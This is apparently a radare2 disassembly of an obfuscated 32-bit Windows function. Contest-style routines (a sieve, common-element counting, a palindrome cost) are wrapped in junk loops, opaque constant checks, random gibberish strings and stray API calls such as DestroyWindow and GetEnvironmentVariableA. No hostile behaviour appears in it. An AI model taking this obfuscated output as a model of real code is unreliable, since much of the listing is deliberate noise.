add eax, dword [ebp - 0x7bc]
mov ecx, dword [ebp - 0xdbc]
add ecx, dword [ebp - 0x7c4]
xor eax, ecx
cdq
mov dword [ebp - 0x1eb4], eax
mov dword [ebp - 0x1eb0], edx
push dword [ebp - 0x1eb0]
push dword [ebp - 0x1eb4]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d4247
jmp 0x4d4225
jmp 0x4d41ff
jmp 0x4d41d9
push 0
call dword [sym.imp.USER32.dll_DestroyWindow]
push dword [ebp - 0x1cb4]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x1538], 0x2bf3
jge 0x4d42db
mov edx, dword [ebp - 0x2898]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x17e0], 0x5839
jge 0x4d42f3
push dword [ebp - 0x1cc0]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x1d08], str.sggogcd_jxlgeugp_wmyyl_hwud_sxrw_pfmvro_jpbo_aickvnmv_tcwyhrbk_ahclkr_dsahefs
mov dword [ebp - 0x2644], 0x16a6
cmp dword [ebp - 0x2644], 0xfba
jge 0x4d43f5
call fcn.004cbff6
and dword [0x2a64220], 0
push 0x27b14a4
push 0x2999b04
push 0x2735444
push str._d__d__d
call fcn.004f117c
add esp, 0x10
mov eax, dword [0x2735444]
mov dword [ebp - 0x1068], eax
jmp 0x4d4359
mov eax, dword [ebp - 0x1068]
inc eax
mov dword [ebp - 0x1068], eax
mov eax, dword [ebp - 0x1068]
cmp eax, dword [0x2999b04]
jg 0x4d43e3
push dword [ebp - 0x1068]
call fcn.004cc0ba
pop ecx
mov dword [0x2537304], 1
and dword [ebp - 0x7cc], 0
jmp 0x4d4393
mov eax, dword [ebp - 0x7cc]
inc eax
mov dword [ebp - 0x7cc], eax
mov ecx, 0x2df1984
call fcn.00417baf
cmp dword [ebp - 0x7cc], eax
jge 0x4d43c6
push dword [ebp - 0x7cc]
mov ecx, 0x2df1984
call fcn.00417bb8
mov eax, dword [eax]
inc eax
imul eax, dword [0x2537304]
mov dword [0x2537304], eax
jmp 0x4d4386
mov eax, dword [0x2537304]
cmp eax, dword [0x27b14a4]
jne 0x4d43de
mov eax, dword [0x2a64220]
inc eax
mov dword [0x2a64220], eax
jmp 0x4d434c
push dword [0x2a64220]
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
mov dword [ebp - 0x17f0], 0x4392
mov dword [ebp - 0x2abc], str.gmaiue_wqdacyrle_wuh_bmmstj
cmp dword [ebp - 0x17f0], 0x4436
jle 0x4d44af
and dword [ebp - 0xdc4], 0
jmp 0x4d442f
mov eax, dword [ebp - 0xdc4]
inc eax
mov dword [ebp - 0xdc4], eax
cmp dword [ebp - 0xdc4], 0x6cc6
jge 0x4d44af
and dword [ebp - 0x7d4], 0
jmp 0x4d4451
mov eax, dword [ebp - 0x7d4]
inc eax
mov dword [ebp - 0x7d4], eax
cmp dword [ebp - 0x7d4], 0x12cb
jge 0x4d44aa
mov eax, dword [ebp - 0xdc4]
add eax, dword [ebp - 0x7d4]
cdq
mov dword [ebp - 0x1ec0], eax
mov dword [ebp - 0x1ebc], edx
push dword [ebp - 0x1ebc]
push dword [ebp - 0x1ec0]
lea ecx, [ebp - 0x3408]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3408]
call fcn.00401711
jmp 0x4d4444
jmp 0x4d4422
cmp dword [ebp - 0x1560], 0x7b28
jle 0x4d5021
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
and dword [ebp - 0xddc], 0
jmp 0x4d44e1
mov eax, dword [ebp - 0xddc]
inc eax
mov dword [ebp - 0xddc], eax
cmp dword [ebp - 0xddc], 0x4eb4
jge 0x4d5021
mov dword [ebp - 0x1ccc], 0x2003
cmp dword [ebp - 0x1ccc], 0xfc8
jge 0x4d46e6
lea eax, [ebp - 0x1070]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x29a8], 0
lea eax, [ebp - 0x29a8]
push eax
mov eax, dword [ebp - 0x1070]
inc eax
push eax
lea ecx, [ebp - 0x149c]
call fcn.00417d23
mov dword [ebp - 0x274], 1
mov dword [ebp - 0x130], 2
jmp 0x4d4562
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x130]
imul eax, dword [ebp - 0x130]
cmp eax, dword [ebp - 0x1070]
jg 0x4d4656
push dword [ebp - 0x130]
lea ecx, [ebp - 0x149c]
call fcn.00417bb8
cmp dword [eax], 0
je 0x4d4593
jmp 0x4d4555
push dword [ebp - 0x130]
lea ecx, [ebp - 0x149c]
call fcn.00417bb8
mov ecx, dword [ebp - 0x274]
mov dword [eax], ecx
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
mov eax, dword [ebp - 0x130]
shl eax, 1
mov dword [ebp - 0x2d4], eax
jmp 0x4d45db
mov eax, dword [ebp - 0x2d4]
add eax, dword [ebp - 0x130]
mov dword [ebp - 0x2d4], eax
mov eax, dword [ebp - 0x2d4]
cmp eax, dword [ebp - 0x1070]
jg 0x4d4651
push dword [ebp - 0x2d4]
lea ecx, [ebp - 0x149c]
call fcn.00417bb8
cmp dword [eax], 0
je 0x4d461a
push dword [ebp - 0x2d4]
lea ecx, [ebp - 0x149c]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x1540], eax
jmp 0x4d4633
push dword [ebp - 0x130]
lea ecx, [ebp - 0x149c]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x1540], eax
push dword [ebp - 0x2d4]
lea ecx, [ebp - 0x149c]
call fcn.00417bb8
mov ecx, dword [ebp - 0x1540]
mov dword [eax], ecx
jmp 0x4d45c9
jmp 0x4d4555
mov dword [ebp - 0x340], 2
jmp 0x4d466f
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
mov eax, dword [ebp - 0x340]
cmp eax, dword [ebp - 0x1070]
jg 0x4d46db
push dword [ebp - 0x340]
lea ecx, [ebp - 0x149c]
call fcn.00417bb8
cmp dword [eax], 0
je 0x4d46ae
push dword [ebp - 0x340]
lea ecx, [ebp - 0x149c]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x1994], eax
jmp 0x4d46c7
mov eax, dword [ebp - 0x274]
mov dword [ebp - 0x1994], eax
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
push dword [ebp - 0x1994]
push str._ld
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4d4662
lea ecx, [ebp - 0x149c]
call fcn.00417aef
and dword [ebp - 0x1080], 0
jmp 0x4d46fc
mov eax, dword [ebp - 0x1080]
inc eax
mov dword [ebp - 0x1080], eax
cmp dword [ebp - 0x1080], 0xa4a
jge 0x4d501c
and dword [ebp - 0x7fc], 0
jmp 0x4d4722
mov eax, dword [ebp - 0x7fc]
inc eax
mov dword [ebp - 0x7fc], eax
cmp dword [ebp - 0x7fc], 0x31a9
jge 0x4d5017
and dword [ebp - 0x804], 0
jmp 0x4d4748
mov eax, dword [ebp - 0x804]
inc eax
mov dword [ebp - 0x804], eax
cmp dword [ebp - 0x804], 0x1d97
jge 0x4d5012
mov dword [ebp - 0x199c], 0x57aa
mov dword [ebp - 0x1548], 0x6b01
mov dword [ebp - 0x28a0], str.iekxkx_mibrcveh_hutdinlrx_cfmw
cmp dword [ebp - 0x1548], 0x6d8a
jle 0x4d481e
and dword [ebp - 0x7dc], 0
jmp 0x4d479c
mov eax, dword [ebp - 0x7dc]
inc eax
mov dword [ebp - 0x7dc], eax
cmp dword [ebp - 0x7dc], 0x6f0f
jge 0x4d481e
and dword [ebp - 0xdcc], 0
jmp 0x4d47be
mov eax, dword [ebp - 0xdcc]
inc eax
mov dword [ebp - 0xdcc], eax
cmp dword [ebp - 0xdcc], 0x38d
jge 0x4d4819
mov eax, dword [ebp - 0x7dc]
mov ecx, dword [ebp - 0xdcc]
shl eax, cl
cdq
mov dword [ebp - 0x1ecc], eax
mov dword [ebp - 0x1ec8], edx
push dword [ebp - 0x1ec8]
push dword [ebp - 0x1ecc]
lea ecx, [ebp - 0x3918]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3918]
call fcn.00401711
jmp 0x4d47b1
jmp 0x4d478f
mov dword [ebp - 0x2654], str.urdvxsq_kpyagvr_bnhkqmthv_xhbrfhq_iaeabgpd_uae_wiwcimerh_xusaxei_ohvh_ehme_cdai_gweexsj
cmp dword [ebp - 0x1548], 0x6a7f
jge 0x4d4b09
mov dword [ebp - 0x1cd8], 0x26bf
cmp dword [ebp - 0x1cd8], 0x80f
jge 0x4d4afd
lea eax, [ebp - 0x1ce4]
push eax
lea eax, [ebp - 0x264c]
push eax
lea eax, [ebp - 0x11f0]
push eax
push str._d__d__d
call fcn.004f117c
add esp, 0x10
and dword [ebp - 0x13c8], 0
jmp 0x4d488a
mov eax, dword [ebp - 0x13c8]
inc eax
mov dword [ebp - 0x13c8], eax
mov eax, dword [ebp - 0x13c8]
cmp eax, dword [ebp - 0x264c]
jge 0x4d48e7
lea eax, [ebp - 0x1550]
push eax
lea eax, [ebp - 0x17e8]
push eax
push 0xab5690
call fcn.004f117c
add esp, 0xc
lea eax, [ebp - 0x1550]
push eax
imul ecx, dword [ebp - 0x17e8], 0xc
add ecx, 0x2df28c0
call fcn.00417a74
lea eax, [ebp - 0x17e8]
push eax
imul ecx, dword [ebp - 0x1550], 0xc
add ecx, 0x2df28c0
call fcn.00417a74
jmp 0x4d487d
push 0xa6
push 1
push 0x2537308
call fcn.004caaff
add esp, 0xc
and dword [ebp - 0x11e8], 0
jmp 0x4d4911
mov eax, dword [ebp - 0x11e8]
inc eax
mov dword [ebp - 0x11e8], eax
mov eax, dword [ebp - 0x11e8]
cmp eax, dword [ebp - 0x1ce4]
jge 0x4d4998
lea eax, [ebp - 0x1310]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x1310]
mov byte [eax + 0x2537308], 0
imul ecx, dword [ebp - 0x1310], 0xc
add ecx, 0x2df28c0
call fcn.00417baf
dec eax
mov dword [ebp - 0x7e4], eax
jmp 0x4d4967
mov eax, dword [ebp - 0x7e4]
dec eax
mov dword [ebp - 0x7e4], eax
cmp dword [ebp - 0x7e4], 0
jl 0x4d4993
push dword [ebp - 0x7e4]
imul ecx, dword [ebp - 0x1310], 0xc
add ecx, 0x2df28c0
call fcn.00417bb8
mov eax, dword [eax]
mov byte [eax + 0x2537308], 0
jmp 0x4d495a
jmp 0x4d4904
mov dword [ebp - 0x428], 1
jmp 0x4d49b1
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
mov eax, dword [ebp - 0x428]
cmp eax, dword [ebp - 0x11f0]
jg 0x4d49d4
mov eax, dword [ebp - 0x428]
mov ecx, dword [ebp - 0x428]
mov dword [eax*4 + 0x2a64830], ecx
jmp 0x4d49a4
mov dword [ebp - 0x15c], 1
jmp 0x4d49ed
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x15c]
cmp eax, dword [ebp - 0x11f0]
jg 0x4d4a94
mov eax, dword [ebp - 0x15c]
movzx eax, byte [eax + 0x2537308]
test eax, eax
je 0x4d4a8f
imul ecx, dword [ebp - 0x15c], 0xc
add ecx, 0x2df28c0
call fcn.00417baf
dec eax
mov dword [ebp - 0x390], eax
jmp 0x4d4a38
mov eax, dword [ebp - 0x390]
dec eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 0
jl 0x4d4a8f
push dword [ebp - 0x390]
imul ecx, dword [ebp - 0x15c], 0xc
add ecx, 0x2df28c0
call fcn.00417bb8
mov eax, dword [eax]
movzx eax, byte [eax + 0x2537308]
test eax, eax
je 0x4d4a8d
push dword [ebp - 0x390]
imul ecx, dword [ebp - 0x15c], 0xc
add ecx, 0x2df28c0
call fcn.00417bb8
push dword [eax]
push dword [ebp - 0x15c]
call fcn.004cc1bc
pop ecx
pop ecx
jmp 0x4d4a2b
jmp 0x4d49e0
and dword [ebp - 0x13e8], 0
mov dword [ebp - 0x1078], 1
jmp 0x4d4ab4
mov eax, dword [ebp - 0x1078]
inc eax
mov dword [ebp - 0x1078], eax
mov eax, dword [ebp - 0x1078]
cmp eax, dword [ebp - 0x11f0]
jg 0x4d4aeb
push dword [ebp - 0x1078]
call fcn.004cc184
pop ecx
mov esi, eax
push 1
call fcn.004cc184
pop ecx
cmp esi, eax
je 0x4d4ae9
mov eax, dword [ebp - 0x13e8]
inc eax
mov dword [ebp - 0x13e8], eax
jmp 0x4d4aa7
push dword [ebp - 0x13e8]
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
push dword [ebp - 0x28a0]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x199c], 0x59ba
jle 0x4d4e5a
and dword [ebp - 0x7ec], 0
jmp 0x4d4b2f
mov eax, dword [ebp - 0x7ec]
inc eax
mov dword [ebp - 0x7ec], eax
cmp dword [ebp - 0x7ec], 0x2e6c
jge 0x4d4e5a
and dword [ebp - 0xdd4], 0
jmp 0x4d4b55
mov eax, dword [ebp - 0xdd4]
inc eax
mov dword [ebp - 0xdd4], eax
cmp dword [ebp - 0xdd4], 0x1a48
jge 0x4d4e55
and dword [ebp - 0x7f4], 0
jmp 0x4d4b7b
mov eax, dword [ebp - 0x7f4]
inc eax
mov dword [ebp - 0x7f4], eax
cmp dword [ebp - 0x7f4], 0x212d
jge 0x4d4e50
mov dword [ebp - 0x1cf0], 0x2187
cmp dword [ebp - 0x1cf0], 0xd7e
jge 0x4d4e16
mov dword [ebp - 0x2eb0], 0x1a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1d8]
push eax
push str._ld__ld_n
call fcn.004f117c
add esp, 0xc
lea ecx, [ebp - 0x2cd0]
call fcn.004016ac
lea edx, [ebp - 0x2cd0]
mov ecx, 0xac75e0
call fcn.0041c262
mov eax, dword [ebp - 0x1d8]
dec eax
mov dword [ebp - 0x1d8], eax
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1d8]
cdq
sub eax, edx
sar eax, 1
cmp dword [ebp - 0x18], eax
jle 0x4d4c12
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
or dword [ebp - 0x68], 0xffffffff
and dword [ebp - 0xe4], 0
and dword [ebp - 0x94], 0
and dword [ebp - 0x110], 0
jmp 0x4d4c3a
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x1d8]
cdq
sub eax, edx
sar eax, 1
cmp dword [ebp - 0x110], eax
jg 0x4d4d1a
push dword [ebp - 0x110]
lea ecx, [ebp - 0x2cd0]
call fcn.0040174b
movsx esi, byte [eax]
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x110]
push eax
lea ecx, [ebp - 0x2cd0]
call fcn.0040174b
movsx eax, byte [eax]
cmp esi, eax
je 0x4d4d15
push dword [ebp - 0x110]
lea ecx, [ebp - 0x2cd0]
call fcn.0040174b
movsx esi, byte [eax]
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x110]
push eax
lea ecx, [ebp - 0x2cd0]
call fcn.0040174b
movsx eax, byte [eax]
sub esi, eax
mov dword [ebp - 0x214], esi
jns 0x4d4cd0
mov eax, dword [ebp - 0x214]
add eax, 0x1a
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xd
jle 0x4d4ce8
push 0x1a
pop eax
sub eax, dword [ebp - 0x214]
mov dword [ebp - 0x214], eax
mov eax, dword [ebp - 0x94]
add eax, dword [ebp - 0x214]
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x68], 0
jge 0x4d4d09
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0xe4], eax
jmp 0x4d4c2d
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x68]
jg 0x4d4d3c
mov eax, dword [ebp - 0xe4]
sub eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x94]
mov dword [ebp - 0x94], eax
jmp 0x4d4de6
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x18]
jg 0x4d4d81
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0xe4]
jg 0x4d4d81
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0xe4]
sub ecx, dword [ebp - 0x18]
cmp eax, ecx
jg 0x4d4d81
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0xe4]
sub ecx, dword [ebp - 0x68]
add ecx, dword [ebp - 0x94]
add ecx, eax
mov dword [ebp - 0x94], ecx
jmp 0x4d4de6
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x18]
jg 0x4d4dc9
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0xe4]
jg 0x4d4dc9
mov eax, dword [ebp - 0xe4]
sub eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x68]
cmp eax, ecx
jge 0x4d4dc9
mov eax, dword [ebp - 0xe4]
sub eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xe4]
sub ecx, dword [ebp - 0x68]
add ecx, dword [ebp - 0x94]
add ecx, eax
mov dword [ebp - 0x94], ecx
jmp 0x4d4de6
mov eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0x18]
jg 0x4d4de6
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x68]
add eax, dword [ebp - 0x94]
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x68], 0
jge 0x4d4df9
push 0xab5a68
call fcn.004f1b87
pop ecx
jmp 0x4d4e0b
push dword [ebp - 0x94]
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
lea ecx, [ebp - 0x2cd0]
call fcn.00401711
mov eax, dword [ebp - 0x7ec]
xor eax, dword [ebp - 0xdd4]
or eax, dword [ebp - 0x7f4]
cdq
mov dword [ebp - 0x1ed8], eax
mov dword [ebp - 0x1ed4], edx
push dword [ebp - 0x1ed4]
push dword [ebp - 0x1ed8]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4d4b6e
jmp 0x4d4b48
jmp 0x4d4b22
mov eax, dword [ebp - 0x1080]
cdq
idiv dword [ebp - 0x7fc]
add edx, dword [ebp - 0xddc]
mov ecx, dword [ebp - 0x804]
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x1ef0], eax
mov dword [ebp - 0x1eec], edx
cmp dword [ebp - 0x199c], 0x56fb
jge 0x4d4ea0
mov edx, dword [ebp - 0x2654]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x1558], 0x52a3
mov dword [ebp - 0x1cfc], str.ophrntd_owlwmn_vukhqy_sxfwum_viw
cmp dword [ebp - 0x1558], 0x55a2
jle 0x4d4fc3
and dword [ebp - 0x1088], 0
jmp 0x4d4eda
mov eax, dword [ebp - 0x1088]
inc eax
mov dword [ebp - 0x1088], eax
cmp dword [ebp - 0x1088], 0x74d3
jge 0x4d4fc3
and dword [ebp - 0x80c], 0
jmp 0x4d4f00
mov eax, dword [ebp - 0x80c]
inc eax
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x80c], 0x3f54
jge 0x4d4fbe
and dword [ebp - 0xde4], 0
jmp 0x4d4f26
mov eax, dword [ebp - 0xde4]
inc eax
mov dword [ebp - 0xde4], eax
cmp dword [ebp - 0xde4], 0x39b4
jge 0x4d4fb9
and dword [ebp - 0x814], 0
jmp 0x4d4f4c
mov eax, dword [ebp - 0x814]
inc eax
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0x37de
jge 0x4d4fb4
mov eax, dword [ebp - 0x1088]
cdq
idiv dword [ebp - 0x80c]
and edx, dword [ebp - 0xde4]
and edx, dword [ebp - 0x814]
mov eax, edx
cdq
mov dword [ebp - 0x1ee4], eax
mov dword [ebp - 0x1ee0], edx
push dword [ebp - 0x1ee0]
push dword [ebp - 0x1ee4]
lea ecx, [ebp - 0x3438]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3438]
call fcn.00401711
jmp 0x4d4f3f
jmp 0x4d4f19
jmp 0x4d4ef3
jmp 0x4d4ecd
push dword [ebp - 0x1eec]
push dword [ebp - 0x1ef0]
lea ecx, [ebp - 0x3b10]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3b10]
call fcn.00401711
cmp dword [ebp - 0x1558], 0x504b
jge 0x4d500d
push dword [ebp - 0x1cfc]
call fcn.004f1488
pop ecx
jmp 0x4d473b
jmp 0x4d4715
jmp 0x4d46ef
jmp 0x4d44d4
cmp dword [ebp - 0x17f0], 0x4145
jge 0x4d5039
push dword [ebp - 0x2abc]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x1590], 0x7afa
cmp dword [ebp - 0x1560], 0x7856
jge 0x4d505b
push dword [ebp - 0x1d08]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x267c], str.xalvstq_tdya_wtguouger_gacyfgg_dpy_jogbl_cccb
cmp dword [ebp - 0x1590], 0x7d27
jle 0x4d583d
and dword [ebp - 0xdf4], 0
jmp 0x4d508b
mov eax, dword [ebp - 0xdf4]
inc eax
mov dword [ebp - 0xdf4], eax
cmp dword [ebp - 0xdf4], 0xed3
jge 0x4d583d
and dword [ebp - 0x834], 0
jmp 0x4d50b1
mov eax, dword [ebp - 0x834]
inc eax
mov dword [ebp - 0x834], eax
cmp dword [ebp - 0x834], 0xa03
jge 0x4d5838
and dword [ebp - 0xf98], 0
jmp 0x4d50d7
mov eax, dword [ebp - 0xf98]
inc eax
mov dword [ebp - 0xf98], eax
cmp dword [ebp - 0xf98], 0x5f1d
jge 0x4d5833
mov dword [ebp - 0x265c], 0x1a95
cmp dword [ebp - 0x265c], 0xae3
jge 0x4d5361
lea eax, [ebp - 0x1318]
push eax
lea eax, [ebp - 0x11f8]
push eax
push str._ld__ld
call fcn.004f117c
add esp, 0xc
and dword [ebp - 0x1d14], 0
lea eax, [ebp - 0x1d14]
push eax
mov eax, dword [ebp - 0x11f8]
inc eax
push eax
lea ecx, [ebp - 0x1b7c]
call fcn.00417d23
mov dword [ebp - 0x478], 1
jmp 0x4d5156
mov eax, dword [ebp - 0x478]
inc eax
mov dword [ebp - 0x478], eax
mov eax, dword [ebp - 0x478]
cmp eax, dword [ebp - 0x11f8]
jg 0x4d51a7
lea eax, [ebp - 0x28a8]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x478]
dec eax
push eax
lea ecx, [ebp - 0x1b7c]
call fcn.00417bb8
mov esi, dword [eax]
add esi, dword [ebp - 0x28a8]
push dword [ebp - 0x478]
lea ecx, [ebp - 0x1b7c]
call fcn.00417bb8
mov dword [eax], esi
jmp 0x4d5149
and dword [ebp - 0x1d20], 0
lea eax, [ebp - 0x1d20]
push eax
mov eax, dword [ebp - 0x1318]
inc eax
push eax
lea ecx, [ebp - 0x1b28]
call fcn.00417d23
mov dword [ebp - 0x398], 1
jmp 0x4d51e1
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
mov eax, dword [ebp - 0x398]
cmp eax, dword [ebp - 0x1318]
jg 0x4d5232
lea eax, [ebp - 0x2664]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x398]
dec eax
push eax
lea ecx, [ebp - 0x1b28]
call fcn.00417bb8
mov esi, dword [eax]
add esi, dword [ebp - 0x2664]
push dword [ebp - 0x398]
lea ecx, [ebp - 0x1b28]
call fcn.00417bb8
mov dword [eax], esi
jmp 0x4d51d4
and dword [ebp - 0x1200], 0
mov dword [ebp - 0x174], 1
mov dword [ebp - 0x164], 1
mov eax, dword [ebp - 0x174]
cmp eax, dword [ebp - 0x11f8]
jg 0x4d5339
mov eax, dword [ebp - 0x164]
cmp eax, dword [ebp - 0x1318]
jg 0x4d5339
push dword [ebp - 0x174]
lea ecx, [ebp - 0x1b7c]
call fcn.00417bb8
mov esi, eax
push dword [ebp - 0x164]
lea ecx, [ebp - 0x1b28]
call fcn.00417bb8
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x4d52c4
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x1200]
inc eax
mov dword [ebp - 0x1200], eax
jmp 0x4d5334
push dword [ebp - 0x174]
lea ecx, [ebp - 0x1b7c]
call fcn.00417bb8
mov esi, eax
push dword [ebp - 0x164]
lea ecx, [ebp - 0x1b28]
call fcn.00417bb8
mov ecx, dword [esi]
cmp ecx, dword [eax]
jge 0x4d52fd
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
jmp 0x4d5334
push dword [ebp - 0x174]
lea ecx, [ebp - 0x1b7c]
call fcn.00417bb8
mov esi, eax
push dword [ebp - 0x164]
lea ecx, [ebp - 0x1b28]
call fcn.00417bb8
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x4d5334
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
jmp 0x4d524d
push dword [ebp - 0x1200]
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
lea ecx, [ebp - 0x1b28]
call fcn.00417aef
lea ecx, [ebp - 0x1b7c]
call fcn.00417aef
and dword [ebp - 0x83c], 0
jmp 0x4d5377
mov eax, dword [ebp - 0x83c]
inc eax
mov dword [ebp - 0x83c], eax
cmp dword [ebp - 0x83c], 0x48c0
jge 0x4d582e
mov dword [ebp - 0x1568], 0x7a86
mov dword [ebp - 0x1d38], str.eqtccmad_fqumfmfvm_aecaqtmh_tgj_ylovqx
cmp dword [ebp - 0x1568], 0x7c25
jle 0x4d5695
push 0
call dword [sym.imp.USER32.dll_GetParent]
and dword [ebp - 0xdf0], 0
jmp 0x4d53c9
mov eax, dword [ebp - 0xdf0]
inc eax
mov dword [ebp - 0xdf0], eax
cmp dword [ebp - 0xdf0], 0x5754
jge 0x4d5695
mov dword [ebp - 0x1950], 0x6f6e
mov dword [ebp - 0x29b8], str.ovqu_naqsh_lhcloh_crlbxqjv_lgtf_jxonkbv
cmp dword [ebp - 0x1950], 0x71a9
jle 0x4d5621
push 0
push 0
call dword [sym.imp.USER32.dll_EndDialog]
and dword [ebp - 0x1090], 0
jmp 0x4d541d
mov eax, dword [ebp - 0x1090]
inc eax
mov dword [ebp - 0x1090], eax
cmp dword [ebp - 0x1090], 0x1fff
jge 0x4d5621
and dword [ebp - 0x81c], 0
jmp 0x4d5443
mov eax, dword [ebp - 0x81c]
inc eax
mov dword [ebp - 0x81c], eax
cmp dword [ebp - 0x81c], 0x1574
jge 0x4d561c
and dword [ebp - 0x1098], 0
jmp 0x4d5469
mov eax, dword [ebp - 0x1098]
inc eax
mov dword [ebp - 0x1098], eax
cmp dword [ebp - 0x1098], 0x1c4
jge 0x4d5617
and dword [ebp - 0x824], 0
jmp 0x4d548f
mov eax, dword [ebp - 0x824]
inc eax
mov dword [ebp - 0x824], eax
cmp dword [ebp - 0x824], 0xc38
jge 0x4d5612
mov ecx, dword [ebp - 0x1090]
sub ecx, dword [ebp - 0x81c]
mov eax, dword [ebp - 0x1098]
cdq
idiv dword [ebp - 0x824]
sub ecx, edx
mov eax, ecx
cdq
mov dword [ebp - 0x1efc], eax
mov dword [ebp - 0x1ef8], edx
mov dword [ebp - 0x1d2c], 0x15a9
cmp dword [ebp - 0x1d2c], 0xea2
jge 0x4d55f7
push 0x2798ca4
mov ecx, 0xac75e0
call fcn.00417279
and dword [ebp - 0x13d4], 0
jmp 0x4d5508
mov eax, dword [ebp - 0x13d4]
inc eax
mov dword [ebp - 0x13d4], eax
mov eax, dword [ebp - 0x13d4]
cmp eax, dword [0x2798ca4]
jge 0x4d55f7
push 0x2a64224
push 0x1b51974
mov ecx, 0xac75e0
call fcn.00417279
mov ecx, eax
call fcn.00417279
mov eax, dword [0x2a64224]
cmp eax, dword [0x1b51974]
jle 0x4d5562
push fcn.0041c2ab
mov edx, str.impossible
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
jmp 0x4d55f2
mov eax, dword [0x1b51974]
and eax, 0x80000001
jns 0x4d5573
dec eax
or eax, 0xfffffffe
inc eax
mov ecx, dword [0x2a64224]
and ecx, 0x80000001
jns 0x4d5586
dec ecx
or ecx, 0xfffffffe
inc ecx
cmp eax, ecx
je 0x4d55a7
push fcn.0041c2ab
mov edx, str.impossible
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
jmp 0x4d55f2
push fcn.0041c2ab
mov eax, dword [0x1b51974]
sub eax, dword [0x2a64224]
cdq
sub eax, edx
sar eax, 1
push eax
mov eax, dword [0x1b51974]
add eax, dword [0x2a64224]
cdq
sub eax, edx
sar eax, 1
push eax
mov ecx, 0xac7538
call fcn.00417681
mov edx, 0xab59f0
mov ecx, eax
call fcn.0041c2dd
mov ecx, eax
call fcn.00417681
mov ecx, eax
